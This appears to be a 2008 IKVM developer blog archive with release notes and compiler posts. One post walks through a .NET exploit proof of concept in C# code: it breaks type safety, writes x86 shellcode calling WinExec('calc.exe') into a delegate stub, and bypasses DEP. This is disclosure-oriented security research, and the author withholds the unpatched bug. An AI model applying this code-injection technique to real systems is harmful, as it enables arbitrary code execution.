# Wednesday, 24 September 2008
IKVM 0.38 Release Candidate 0

As with previous release candidates, this release includes strong named binaries and is considered to be (nearly) ready for production use. Please test this version and give feedback as soon as possible.

Changes since previous snapshot:

  • Changed version to 0.38.0.0 and strong named binaries.
  • Added missing HTMLEntities.res resource.
  • Re-introduced workaround for .NET JIT bug that causes .cctor not to run when a DynamicMethod invokes a method or gets/sets a field.

Binaries available here: ikvmbin-0.38.0.0.zip

Sources: ikvm-0.38.0.0.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped.zip

Wednesday, 24 September 2008 08:07:13 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
# Monday, 22 September 2008
Running JaC64

JaC64 is a open source Commodore 64 emulator written in Java. I have many fond childhood memories of my C64, so I spent a little time fixing a couple of AWT issues and hacking together some sound support for ikvm. The sound patch is here, but it won't go in because it is essentially hard coded for JaC64 and even then it doesn't really work, because it turns out that .NET has no decent sound API. The only API available is SoundPlayer, but it has an unacceptable latency (and can only play one sample at a time, so you can't hide the latency). JaC64 generates samples that are 0.25 seconds long and then plays these back to back. This means that you hear sound, but it is very choppy.

Two obligatory screen shots, first the emulator application and second just the C64 screen of my favorite game:

Monday, 22 September 2008 07:19:53 (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]
New Development Snapshot

This is the final development snapshot before the first 0.38 release candidate.

Changes since previous development snapshot:

  • Updated to OpenJDK 6 b12.
  • Updated IKVM.OpenJDK.ClassLibrary.dll copyright notices.
  • Removed hardcoded PublicKey from build process.
  • Fixed ikvmc regression that caused using .NET generic types not to work.
  • Added support to ikvmc for recognizing "access" bridge methods, so that they aren't hidden from other .NET code.
  • Removed warnings from IKVM.OpenJDK.ClassLibrary ikvmc build step.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

This version supports .NET 2.0 SP1 and later. The binaries will run on Mono 2.0, but building on Mono 2.0 is not supported due an open bug.

Binaries available here: ikvmbin-0.37.3187.zip

The OpenJDK 6 b12 (re)source file needed to build from source are available here: openjdk6-b12-stripped.zip

Monday, 22 September 2008 06:51:27 (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]
# Saturday, 13 September 2008
Writing a .NET Security Exploit PoC

Let's start out with some convenient types that allow bit twiddeling once we've subverted the type system:

class Union1
{
  internal volatile int i;
  internal volatile int j;
}

class Union2
{
  internal volatile object o;
  internal volatile int[] arr;
}

Now we need a way to get two different references to the same object. This is where the exploit comes in, but since I'm not going to publish an exploit for an unpatched bug, we'll make do with something that works but requires full trust:

[StructLayout(LayoutKind.Explicit)]
struct UnsafeUnion
{
  [FieldOffset(0)]
  internal Union1 u1;
  [FieldOffset(0)]
  internal Union2 u2;
}

static Union1 TypeSystemHole(Union2 u2)
{
  // NOT ACTUALLY A SECURITY HOLE!
  // You need full trust to execute this code.
  UnsafeUnion uu = new UnsafeUnion();
  uu.u2 = u2;
  return uu.u1;
}

Now for the interesting bit, getting some x86 code to execute:

Union1 u1;
Union2 u2 = new Union2();
u1 = TypeSystemHole(u2);

// u1 and u2 now reference the same object,
// meaning that we can now convert arbitrary integer
// into objects or arrays (and v.v.)

ThreadStart del = new ThreadStart(DummyMethod);

// A delegate provides an easy way to call the code we're
// generating. As it turns out, it is also a good way
// to bypass DEP, because the delegate stub is in writable
// executable memory.


u2.o = del;
u1.j = u1.i;
u1.j = u2.arr[2] - 12;

// Make the delegate object accessible via the object[],
// then get the address the delegate points to and make
// it accessible via the object[] reference.

// The x86 code we're creating is:
//
// 6A 05            push 5
// 68 xx xx xx xx   push offset string "calc.exe"
// B8 xx xx xx xx   mov eax,<address of kernel32!WinExec>
// FF D0            call eax
// C3               ret
//

MemoryStream mem = new MemoryStream();
BinaryWriter bw = new BinaryWriter(mem);
bw.Write((byte)0x6A);
bw.Write((byte)0x05);
bw.Write((byte)0x68);
u2.o = Encoding.ASCII.GetBytes("calc.exe\0");
bw.Write(u1.i + 8);
bw.Write((byte)0xB8);
bw.Write(GetProcAddressAny("WinExec"));
bw.Write((byte)0xFF);
bw.Write((byte)0xD0);
bw.Write((byte)0xC3);
bw.Write(0);

// Now that we've created the code, copy it into the delegate
// stub memory area.


byte[] tmp = mem.ToArray();
for (int i = 0; i < tmp.Length / 4; i++)
{
  u2.arr[1 + i] = BitConverter.ToInt32(tmp, i * 4);
}

// Invoke the delegate, which will result in running our
// code, instead of the delegate stub.

del();

The missing piece is GetProcAddressAny. It basically searches memory for kernel32 and looks up the address of the WinExec function.

The full source is available here: TypeSafetyExploitPoC.cs

Note that this PoC requires full trust and obviously only works on x86, but all the ideas are applicable to x64 as well.

Saturday, 13 September 2008 09:03:01 (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]
# Friday, 12 September 2008
Critical .NET Security Vulnerability

While browsing the Rotor sources yesterday, I noticed something that looked like a potential security issue. After writing some test code I confirmed that it was indeed a problem. Like last time, it's a bug that allows you to compromise type safety.

Previously I promised to write more about the issue after the fix was released, but I never got around to it, partly because security issues aren't very exciting anymore after they've been fixed.

BTW, my "no Microsoft bug filing policy" doesn't apply to security issues, so I've notified the Microsoft Security Response Center of the issue.

Anyway, I thought this would be a good opportunity to look at the previously fixed issue and demonstrate how a type safety hole leads to arbitrary code execution and makes it trivial to bypass both DEP and ASLR.

Discovering the Bug

This is the hard part. Contrary to popular belief, Microsoft writes pretty secure code nowadays. I found the issue because an IKVM user reported a problem with some code that worked with JIT optimizations disabled, but mysteriously failed when JIT optimizations were on. Debugging this issue led to misbehaving code similar to this:

    if (arr1[index * 3 + 5] != null)
    {
      Union1 u1 = arr1[index * 3 + 5];

Due to a JIT bug the second array indexing expression was incorrectly applied, resulting in the ability to read a value outside of the array bounds.

Type Safety

Due to the predictability of memory allocation in managed code, it is easy to allocate two arrays of different types and then use the above bug to access an element from one array through a reference to the other array. This gives you the ability to perform a cast that otherwise wouldn't be allowed.

Once you have this ability, it can be easily abused. For example, you could create a class like this:

class StringHack
{
    public int arrayLength;
    public int stringLength;
    public char ch1;
    public char ch2;
}

If you now obtain a reference typed as StringHack to a real string object, you have the ability to alter the contents of the string (well, the first two characters in this example).

However, it's not just the .NET access restrictions that can be bypassed, you can also use this trick to execute arbitrary machine code.

Next time we'll look at a PoC that, given a type safety hole, will allow you to call WinExec to start any application from partially trusted .NET code.

Friday, 12 September 2008 09:41:53 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Monday, 01 September 2008
New Development Snapshot

Lots of cleanup and restructuring. Removed most .NET reflection (almost everything is now based on DynamicMethod) and improved support for running in partial trust.

Changes since previous development snapshot:

  • Switched almost all code to using generic collections.
  • Removed our own tracking of LocalBuilders, because on .NET 2.0 LocalBuilder has a LocalIndex property.
  • Added multi target support to ikvmc (although it is currently disabled, because of a showstopper .NET Ref.Emit bug).
  • Replaced usage of BootstrapClassLoader with actual class loader in static compiler.
  • Moved generated exception mapping code from ExceptionHelper to Throwable and made it slightly less hacky.
  • Replaced mapxml Hashtable with three statically typed Dictionaries.
  • Eleminated some (CompilerClassLoader) downcasts by making the type of the DynamicTypeWrapper.classLoader field depend on whether we're compiling the runtime or ikvmc.
  • Removed unused per-type class caching.
  • Added helper methods to no longer require reflection to instantiate DirectByteBuffer from JNI.
  • Bug fix: dynamic (for unloadable classes) getfield/getstatic/invoke* bytecode compilation couldn't handle ghost types.
  • Changed dynamic (for unloadable classes) bytecode handling to use Java reflection.
  • Changed JNI reflection to be based on Java reflection (where possible).
  • Removed "slow" reflection.
  • Removed MethodWrapper.Invoke().
  • Removed FieldWrapper.GetValue()/SetValue().
  • Added ICustomInvoke for the few MethodWrappers that still require custom reflection invocation.
  • Removed class init workaround that is no longer required since .NET 2.0 SP1.
  • Removed GNU Classpath specific code that I missed.
  • Switched from obsolete ConfigurationSettings.AppSettings to new ConfigurationManager.AppSettings.
  • Fixed VFS root directory entry.
  • Removed no longer needed VM.isBooted() check (VM.isBooted() always returns true now on IKVM).
  • Forked java/nio/Bits.java to remove unsafe code from static initializer.
  • Moved all creations of DynamicMethod to util method that uniformly handles the fallback to the new .NET 2.0 SP1 constructor that support partial trust.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

This version supports .NET 2.0 SP1 and Mono 2.0.

Binaries available here: ikvmbin-0.37.3166.zip

Monday, 01 September 2008 09:04:03 (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]
# Wednesday, 27 August 2008
Cecil Conclusion

I finished the Cecil.Reflection.Emit prototype of ikvmc. As I, unfortunately, expected the performance isn't acceptable. Compiling tools.jar takes approx. 18 seconds with the Ref.Emit backend, but takes 51 seconds with the Cecil based backend.

Now, I'm not knocking Mono.Cecil because of its performance, because I think the design was based on making it easy to load an assembly, tweak it and write it back out again. For that application the design makes a lot of sense, but it is less efficient for a write only task.

However, I did have to conclude that Mono.Cecil is not mature enough for usage with ikvmc. I had to write my own custom attribute encoder to work around Mono.Cecil's brokenness and I found that it doesn't properly support custom modifiers.

What Next

Given that neither Ref.Emit nor Cecil look like viable short term strategies for multi target support in ikvmc, I think it makes sense to start working on the 0.38 release now and put off the splitting of IKVM.OpenJDK.ClassLibrary.dll until the next release. I know this will disappoint some people, especially since it grew by about 4.7MB again (mostly due to the inclusion of the charsets.jar character encodings).

I don't have a timetable, but don't expect the release tomorrow. It'll be a while. First OpenJDK6 b12 needs to be released (and integrated) and then a whole lot of testing needs to be done.

Wednesday, 27 August 2008 06:11:46 (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]
# Tuesday, 12 August 2008
Using Mono.Cecil instead of Reflection.Emit in IKVMC

I prototyped a Reflection.Emit layer for Mono.Cecil and integrated it with ikvmc. Preliminary results:

  • It looks like it is feasible to replace "using System.Reflection.Emit;" with "using Cecil.Reflection.Emit;" and only require a handful of "#if CECIL"s sprinkled through the code.
  • Mono.Cecil is lacking some functionality required by ikvmc (global methods, multi module assemblies, support for calli signatures [AFAICT], support for byte[] arguments in custom attributes)
  • Given the architecture of Mono.Cecil I'm worried that it will perform worse than Reflection.Emit (which, on .NET, is already pretty slow).

I'm pretty sure there are more issues waiting to be discovered, but these I found while trying to compile a relatively simple .class file. I got it to generate a verifiable assembly using the following ikvmc command:

        ikvmc test.class -target:library -nostacktraceinfo

If you want to play along, the Cecil.Reflection.Emit layer plus the ikvmc patch (relative to current cvs) can be found here.

At this point I'm not sure what's next. I don't feel working on Mono.Cecil is the best use of my time. I may have to put the multi assembly feature of ikvmc on the back burner (which also means no progress in splitting up IKVM.OpenJDK.ClassLibrary.dll).

On a more possitive note, doing this work made me realize that ConstructorBuilder is a useless annoyance and I can simplify some ikvm code by only using MethodBuilder (it turns out that DefineMethod can also be used to define a constructor).

Well, I will be able to do this once Mono's DefineMethod is fixed so that it notices that a constructor is created and not insert another default constructor.

Update: Zoltan already fixed the Mono bug. Thanks!

Update 2: Jb Evain pointed out that global methods are supported (simply add the methods to the <Module> type) and that calli is supported via Mono.Cecil.CallSite.

Tuesday, 12 August 2008 17:39:21 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Sunday, 10 August 2008
Reflection.Emit Bug

I started working on support for compiling multiple assemblies at once with ikvmc (to support mutual depedencies) and ran into a rather annoying bug:

using System;
using System.Reflection;
using System.Reflection.Emit;

class Program
{
  static void Main()
  {
    AssemblyBuilder ab1 = AppDomain.CurrentDomain.DefineDynamicAssembly(new AssemblyName("A1"), AssemblyBuilderAccess.Save);
    AssemblyBuilder ab2 = AppDomain.CurrentDomain.DefineDynamicAssembly(new AssemblyName("A2"), AssemblyBuilderAccess.Save);
    ModuleBuilder mod1 = ab1.DefineDynamicModule("A1");
    ModuleBuilder mod2 = ab2.DefineDynamicModule("A2");

    TypeBuilder tb1 = mod1.DefineType("T1");
    TypeBuilder tb2 = mod2.DefineType("T2");

    ConstructorBuilder cb1 = tb1.DefineConstructor(MethodAttributes.Public, CallingConventions.Standard, null);
    ConstructorBuilder cb2 = tb2.DefineConstructor(MethodAttributes.Public, CallingConventions.Standard, new Type[] { tb1 });

    ILGenerator ilgen = cb1.GetILGenerator();

    ilgen.Emit(OpCodes.Ldnull);
    ilgen.Emit(OpCodes.Newobj, cb2);
  }
}

Running this on .NET 2.0 SP1 results in:

Unhandled Exception: System.Runtime.InteropServices.COMException (0x80131130): Record not found on lookup. (Exception from HRESULT: 0x80131130)
   at System.Reflection.Module._InternalGetMemberRef(Module refedModule, Int32 tr, Int32 defToken)
   at System.Reflection.Emit.ModuleBuilder.InternalGetConstructorToken(ConstructorInfo con, Boolean usingRef)
   at System.Reflection.Emit.ILGenerator.GetMethodToken(MethodBase method, Type[] optionalParameterTypes)
   at System.Reflection.Emit.ILGenerator.Emit(OpCode opcode, ConstructorInfo con)
   at Program.Main() in c:\vsp\RefEmitBugRepro\Program.cs:line 23

The "no Microsoft bug filing" policy is still in effect, so I won't be filing a bug with Microsoft for this.

Workaround

For the scenario above there is a (painful) workaround. You can create your own ConstructorInfo subclass that represents the constructor you want to call, if you do that ILGenerator.Emit() will end up in a different code path to lookup the token and that code path does work.

I haven't tried it, but I assume this workaround also works for methods and fields.

I think that for ikvmc I won't be using this workaround, but instead I'll treat this as a good reason to finally start looking into using Mono.Cecil instead of Reflection.Emit.

Sunday, 10 August 2008 10:02:40 (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]
# Thursday, 07 August 2008
New Development Snapshot

Time for another snapshot.

Changes since previous development snapshot:

  • Removed support for building with GNU Classpath class library.
  • DatagramSocket: Implemented connected datagram sockets using .NET 2.0 API.
  • DatagramSocket: Used .NET 2.0 Socket.IOControl() API to disable WSAECONNRESET errors (when not connected).
  • DatagramSocket: Throw PortUnreachableException from receive() if we receive WSAECONNRESET while connected.
  • Various java.util.zip compatibility and bug fixes.
  • Fixed bytecode compiler not to generate unneeded GC.KeepAlive() in constructor for Exception types that don't have a finalize() method.
  • Fixed #2001802 contributed by Andy Malakov.
  • Fixed #2001799.
  • Fixed #2006953.
  • Fixed file I/O error handling incompatibilities.
  • Added ghost array tagging to be able to report the instantiated class (instead of the object[] which is allocated instead).
  • Fixed ldc <class> where <class> is a ghost array.
  • Fixed bug in instanceof <class> where <class> is a Serializable[].
  • Removed Mono workarounds that are no longer needed with Mono 2.0.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

This version supports .NET 2.0 SP1 and Mono 2.0.

Binaries available here: ikvmbin-0.37.3141.zip

Thursday, 07 August 2008 08:13:00 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]